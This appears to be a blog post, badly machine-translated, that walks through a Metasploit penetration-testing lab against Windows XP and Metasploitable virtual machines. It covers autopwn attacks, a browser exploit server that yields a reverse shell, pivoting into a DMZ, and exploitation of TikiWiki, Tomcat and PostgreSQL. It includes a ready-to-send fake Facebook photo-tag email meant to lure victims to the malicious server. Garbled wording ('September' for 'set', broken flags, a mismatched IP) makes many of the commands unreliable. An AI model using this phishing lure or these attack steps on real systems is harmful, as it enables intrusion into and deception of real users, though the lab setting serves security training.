xd "A vulnerability is as limited as you want it to be"
3 On your computer find virtual machines called {1,2,3}, corralas
1: backtrack (BackTrack is a GNU / Linux LiveCD format conceived and designed for security auditing and related to computer security in general)
2: Ubuntu server
3: Windows XP (Windows XP sp2)
backtrak start to backtrack to stream buffer ( first option)
ifconfig eth1 192.168.0.11 netmask 255.255.255.0 Then enter startx
Ubuntu server: Enter login
:
User: msfadmin
Password: msfadmin
Write startx
Windows XP
not get to do anything
First Attack (firewall off)
For our first attack we will use the malicious agent backtrack and Windows XP
First we will check the efficiency of our firewall installed by default
In backtrack open a konsole and type ping 192.168.0.120 and see what prevents us from pinging
Then 192.168.0.120 nmap to see if we can see the ports, but actually they are all filtered.
Go to backtrack-> penetration-> All -> Msfconsole
There db_create
write db_driver sqlite3
networks networks db_connect
We do this to create a database and there to keep all the vulnerabilities found method called (Vulnerability Assessment: Analysis weaknesses or vulnerabilities of technical amendments made to a system, fixing these weaknesses in a database.)
As this first attack is divided into two, proceed to disable the firewall in Windows XP
Start-> Control Panel-> Security Center-> Windows Firewall-> tick the box off (not recommended)
Now backtrack, and we have our database (bag) and what we will do an analysis of footprinting to know what type of system we face
Nmap is an open source program used to perform port scans .
Write a
msfconsole db_namp-PN-A-PN
192.168.0.120: attempts to identify the services for open ports on the system be used to assess each service individually to try to locate vulnerabilities in them.
-A: comprehensive analysis to identify the operating system
Then write
Db_autopwn: script that allows multiple attacks based from a database
db_autopwn-t-p-e
now review the sessions that have been created
meterpreter or goal
The interpreter is a family of plugins advanced for use on Windows systems that have committed fundamental characteristic that everything is loaded into memory from the system without creating any additional processing.
Sessions-l
To choose the session we do sessions-i 1 or 2
create the reverse Shell Shell
If we can not create write exit and re-elected the sitting
First Attack (firewall enabled)
What we do in this type of attack is to make the victim into a trap and through this create a reverse shell.
Go to backtrack-> penetration-> All -> Msfconsole
He writes: nmap 192.168.0.120
As we can see no ping has been established with the victim, anyone would think this is safe, but we'll see that it is not.
Now type: Use server
/ browser_autopwn
This is an exploit that lets you create a server loaded with poisoned with this script will create the remote connection. Show options
September
Lhoste 192.168.0.11 / / this means our server where it becomes lodged in September
SRVHOST
192.168.0.11 / / with this we will make the connection to it so that instead of launching an attack on a server and wait to become promiscuous
requests
SRVPORT September 80 / / indicate the output port of our server
Now write: run
Here we see that it just created our server.
The next step is to make our entering fall victim to the phishing site.
How?
In real life could be done through a notification message from facebook,
is as simple as creating a new message from our Hotmail.com account there to give you edit text in html mode
and write the missing data in xxx and then send
AMIGO_QUE_ENVIA_MENSAJE tagged a photo of yourself in your album.
To view the photos, follow this link:
http://www.facebook.com/n/?photo.php&pid=439128&op=1&view=all&subj=1101827805&id = 1405875231 & mid = a0d79cG41ac8eddG8ac16dG5
Thank
The Facebook Team ___
This message was intended for PNOMBRE OF THE VICTIM. Want to control which email messages you receive from Facebook? Visit:
http://www.facebook.com/editaccount.php?notifications&md=cGhvdG9fdGFnO2Zyb209MTQwNTg3NTIzMTt1aWQ9MTQwNTg3NTIzMTtwaWQ9NDM5MTI4O3RvPTExMDE4Mjc4MDU=&mid=a0d79cG41ac8eddG8ac16dG5
Facebook's offices are at 1601 S. California Ave, Palo Alto, CA94304.
In Windows XP open the browser and type:
192.168.0.11/código
The code is coming from where it says Using URL: 192.168.0.11/código
Writing sessions sessions-l-i
After session number
writing can create a Shell "Shell"
ENGAGING AN ARCHITECTURE
DMZ
msfconsole In the same type:
route run run get_local_subnets
arp_scanner-r 192.168.0.1/24 / / to know which nodes are active
Now press control + z to stop our session in the background and write
Route Back
route print route add 192.168.0.22 255.255.255.0 1 / / add our new victim is within the route network committed
print / / verify that you have created the meeting sessions-l
back / / we go back to release another exploit
use auxiliary / scanner / portscan / tcp / / exploit
what we will assess which ports are open
September 1-1000 September PORTS rhosts 192.168.0.22
run connect-c 1 192.168.111.2 23 / / we connect to port 23 through the first victim that bridges
Attacking a database within the DMZ
Tiki CMS / Groupware or TikiWiki is a content management system for collaborative nature (CMS / Groupware) easy to configure and customize, designed to create portals, community sites, intranets and Web applications in general.
As we know that we have port sqlite3 db_driver
db_create to
db_connect to
db_nmap-NP-A 192.168.0.22
then we db_services
and
now ready to give in this section will attack all vulnerabilities found and will make the attack via tunneling 192.168.0.120
back
use auxiliary / admin / tikiwiki / tikidblib / / Will hit the database is 192.168.0.22 which has myql
rhost 192,168,229,129
September
now we exploit data from the database
open another konsole and type mysql-u root-h 192.168.0.22-Proot
Attacking
Tomcat tomcat server (also known as Jakarta Tomcat or Apache Tomcat) works as a servlet container developed under the Jakarta project at the Apache Software Foundation. Tomcat implements the specifications of the servlets and JavaServer Pages (JSP) from Sun Microsystems.
The
msfconsole
use auxiliary / scanner / http / tomcat_mrg_login
rhosts
September 8180 192.168.0.22 rport
September
run
When green is found login [+]
.. Taking advantage of the user and pass get another exploit
In writing msfconsole
Back
use exploits / multi / http / tomcat_mgr_deploy
September USERNAME PASSWORD tomcat tomcat
September September September
rhost rport 8180 192.168.0.22
control + z sessions-l
Attack PostgreSQL
At the same msfconsole Back
use auxiliary / scanner / postgres / postgres_login September
rhost 192.168.0.22
us we log in with username and password: postgres.
Now that we have the data we are interested in the user configuration file and then perform a brute force ssh to the
Back
use auxiliary / admin / postgres / postgres PASSWORD postgres_readfile
September
On September rhost 192.168.0.22 Finally we db_autopwn-t-e-p
0 comments:
Post a Comment